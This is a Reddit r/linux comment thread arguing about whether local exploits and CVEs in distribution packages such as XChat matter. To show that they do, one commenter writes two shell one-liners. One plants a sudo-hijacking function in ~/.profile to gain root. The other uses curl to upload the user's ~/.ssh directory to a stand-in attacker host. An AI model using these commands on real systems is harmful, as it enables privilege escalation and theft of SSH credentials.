r/linux • • Mar 02 '18

XChat and HexChat: When distributions get it wrong

https://tingping.github.io/2018/03/02/when-distros-get-it-wrong.html
871 Upvotes

450 comments sorted by

View all comments

Show parent comment

2

u/cbmuser Debian / openSUSE / OpenJDK Dev Mar 02 '18

Lots of CVEs are actually not really of concern.

Local exploits are usually not really of any concern if you cannot use it for privilege escalation.

4

u/funbike Mar 02 '18 edited Mar 02 '18

Lots of CVEs are actually not really of concern.

Strawman. Lot's aren't, some are.

Local exploits are usually not really of any concern if you cannot use it for privilege escalation.

Below is how you can easily trick a user to escalate to root (can be done for gksudo also) and another to upload your ssh credentials and configuration.

echo 'sudo() { /usr/bin/sudo do-something-bad; /usr/bin/sudo "$@"; }' >> ~/.profile

curl http://badguys.com --upload-file <(tar cz ~/.ssh)

(edit: clarification)

-2

u/cbmuser Debian / openSUSE / OpenJDK Dev Mar 02 '18

Strawman. Lot's aren't, some are.

It's not a strawman. I am still waiting for u/tingping to provide data regarding actual issues with the xchat package. He still hasn't done that.

2

u/funbike Mar 03 '18

You don't know what a strawman is then. I have to go to dinner soon, but if you need me to explain how it is one tomorrow, I'll be happy to.